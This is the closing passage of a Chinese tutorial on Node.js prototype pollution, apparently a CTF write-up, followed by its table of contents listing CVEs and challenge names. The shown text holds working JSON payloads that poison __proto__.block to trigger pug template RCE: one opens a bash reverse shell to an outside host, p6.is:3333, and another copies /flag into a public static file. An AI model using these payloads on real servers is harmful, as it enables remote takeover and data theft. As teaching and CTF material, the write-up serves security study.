        "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
    }
}

但是我们需要给hero.name 赋值然后才能触发pug.conpile

{"__proto__.hero":{"name":"菲奥娜"},
{
    "__proto__.block": {
        "type": "Text", 
        "line": "process.mainModule.require('child_process').execSync('cat /flag > app/static/1.txt')"
    }
}}

Ending

‍参考文章

https://xz.aliyun.com/t/11791

https://forum.butian.net/share/1561

https://nodejs.org/zh-cn/docs

‍

文章来源: https://xz.aliyun.com/t/12383
如有侵权请联系:admin#unsafe.sh

前言

Nodejs

介绍

应用

特性

大小写

弱类型

变量拼接

ES6模板字符串

代码注入

漏洞函数

eval()

settimeout()

setinterval()

function()

process 模块命令执行

​exec​：

execFile

fork

spawn

反弹shell

文件操作

原型链污染 step1

prototype和proto 分别是甚么

JavaScript原型链污染

什么是原型链污染

那些情况下会有 原型链污染

Undefsafe 模块原型链污染（CVE-2019-10795）

审计

split()

Array.prototype.filter()

Array.prototype.slice()

Array.prototype.join()

Merge类操作导致原型链污染

merge.recursiveMerge CVE-2020-28499

lodash 模块原型链污染

lodash.defaultsDeep 方法 CVE-2019-10744

lodash.merge 方法 CVE-2018-3721

lodash.mergeWith 方法 CVE-2018-16487

lodash.set 方法 以及 setWith 方法 CWE-400

lodash.zipObjectDeep 方法 CVE-2020-8203

safe-obj 原型链污染 CVE-2021-25928

safe-flat 原型链污染 CVE-2021-25927

jQuery 原型链污染 CVE-2019-11358

console.table 原型链污染 CVE-2022-21824

原型链污染 step2

lodash.template 进行rce

配合 ejs 模板引擎实现 RCE CVE-2022-29078

配合 jade 模板引擎实现 RCE

题目

web 334

web 335

web 336

web 337

web338

web339

0xgame dont_pollute_me

[网鼎杯 2020 青龙组]notes

[GYCTF2020]Ez_Express

[湖湘杯 2021 final]vote

Ending

‍参考文章

exec：

那些情况下会有原型链污染

lodash.set 方法以及 setWith 方法 CWE-400